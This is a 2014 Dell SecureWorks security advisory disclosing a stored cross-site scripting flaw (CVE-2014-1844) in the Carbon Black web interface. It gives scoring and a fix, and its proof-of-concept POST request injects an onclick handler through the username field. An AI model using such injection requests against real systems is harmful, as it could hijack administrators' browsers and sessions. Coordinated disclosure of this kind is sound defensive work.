Security Advisory SWRX-2014-008

Carbon Black Persistent Cross-Site Scripting (XSS)

Dell SecureWorks Counter Threat Unit™ Threat Intelligence

Advisory Information

Title: Carbon Black Persistent Cross-Site Scripting (XSS)
Advisory ID: SWRX-2014-008
Advisory URL: http://www.secureworks.com/cyber-threat-intelligence/advisories/SWRX-2014-008/
Date published: Tuesday, May 6, 2014
CVE: CVE-2014-1844
CVSS v2 base score: 3.5
Date of last update: Tuesday, May 6, 2014
Vendors contacted: Carbon Black
Release mode: Coordinated
Discovered by: Sean Wright, Dell SecureWorks

Summary

Carbon Black is an endpoint security solution that provides administrative functionality and other features via a dedicated web application. There is a vulnerability in the product's web interface due to insufficient server-side validation. An attacker can create a user with malicious username content, and this username is persisted to the server. When an administrator views a list of users, the malicious username is loaded and a cross-site script is injected into the page. An attacker could exploit this issue to direct a victim to a malicious website or steal the victim's session information.

Affected products

These vulnerabilities have been confirmed in version 4.0.2 and 4.0.3 of the Carbon Black web application.

Vendor information, solutions, and workarounds

The vendor has released an updated version to address these vulnerabilities. All users of the Carbon Black web application should upgrade to version 4.1.0 or later versions.

Details

The Carbon Black web application does not perform sufficient server-side sanitization checks on a username when a user is created. When an administrator views the list of users on the system via the Administration > Users menu, the web page displays the username as un-escaped HTML. This representation allows an attacker to create a user with malicious username content, which is then persisted to the server. The cross-site script is subsequently displayed to all viewers of the user list page. This vulnerability could allow an attacker to insert malicious JavaScript code. For example, an attacker could include code that directs the victim's web browser to a malicious site without their knowledge, or that steals and sends the victim's session information to the attacker.

The application does perform client-side validation when creating a user. However, attackers can easily bypass this validation by manually creating the relevant POST request and submitting it to the server.

CVSS severity (version 2.0)

Access vector: Network
Access complexity: Medium
Authentication: Single
Impact type: Allows unauthorized modification
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None
CVSS v2 base score: 3.5
CVSS v2 impact subscore: 2.9
CVSS v2 exploitability subscore: 6.8
CVSS v2 vector: (AV:N/AC:M/Au:S/C:N/I:P/A:N)

Proof of concept

The following is a sample request containing the cross-site scripting (XSS) payload:

```
POST /api/user HTTP/1.1
Host: 172.16.65.155
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0
Iceweasel/22.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://172.16.65.155/
Content-Length: 422
Cookie:
session="AC8/K4YZH42lbrPUSv5qF5hdmTw=?_expires=STEzOTA2MDc3NjcKLg==&_permanent=STAxCi4
=&uid=STEKLg=="; search-tour=true; analyze-tour=true
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

{"username":"jbloggs\"
onclick=\"window.location.href=&#x27;http://www.google.co.uk&#x27;","first_name":"Joe"
,"last_name":"Bloggs","email":"jbloggs@test.com","password":"p","confirmPassword":"p",
"Administrators":"false","Product Management":"false","Platform
Engineering":"false","IT
Operations":"false","CTU":"false","Engineering":"false","Security Intelligence and
Data Engineering":"false","global_admin":"true","teams":[]}
```

Copyright © 2014 Dell SecureWorks

Figures 1 and 2 illustrate the user interface and code-level representations after the cross-site script is injected.

Figure 1. User added to system. (Source: Dell SecureWorks)

```
<div class="list-item">
<div class="list-item">
<div class="list-item">
<div class="list-item">
    <a class="item-title edit-user" onclick="window.location.href='http://www.google.co.uk'" data-username="jbloggs" href="#">Joe Bloggs</a>
  <span class="action-buttons right">
 </div>
</div>
<div id="user-confirmation-modal" class="reveal-modal" style="margin-left:auto; margin-right:auto;">
```

Figure 2. Code snippet of new user element on the user list page. (Source: Dell SecureWorks)

Revision history

1.0 2014-05-06: Initial advisory release

PGP keys

This advisory has been signed with the Dell SecureWorks Counter Threat Unit™ PGP key, which is available for download at http://www.secureworks.com/SecureWorksCTU.asc.

About Dell SecureWorks

Dell Inc. listens to customers and delivers worldwide innovative technology and business solutions they trust and value. Recognized as an industry leader by top analysts, Dell SecureWorks provides world-class information security services to help organizations of all sizes protect their IT assets, comply with regulations, and reduce security costs.

Disclaimer

Copyright © 2014 Dell SecureWorks

This advisory may not be edited or modified in any way without the express written consent of Dell SecureWorks. Permission is hereby granted to link to this advisory via the Dell SecureWorks website or use in accordance with the fair use doctrine of U.S. copyright laws. See the Dell SecureWorks terms of use at http://www.secureworks.com/contact/terms_of_use/ for additional information.

The most recent version of this advisory may be found on the Dell SecureWorks website at http://www.secureworks.com. The contents of this advisory may change or be removed from the website without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. ANY USE OF THIS INFORMATION IS AT THE USER'S RISK. In no event shall Dell SecureWorks be liable for any damages whatsoever arising out of or in connection with the use or further publication or disclosure of this information.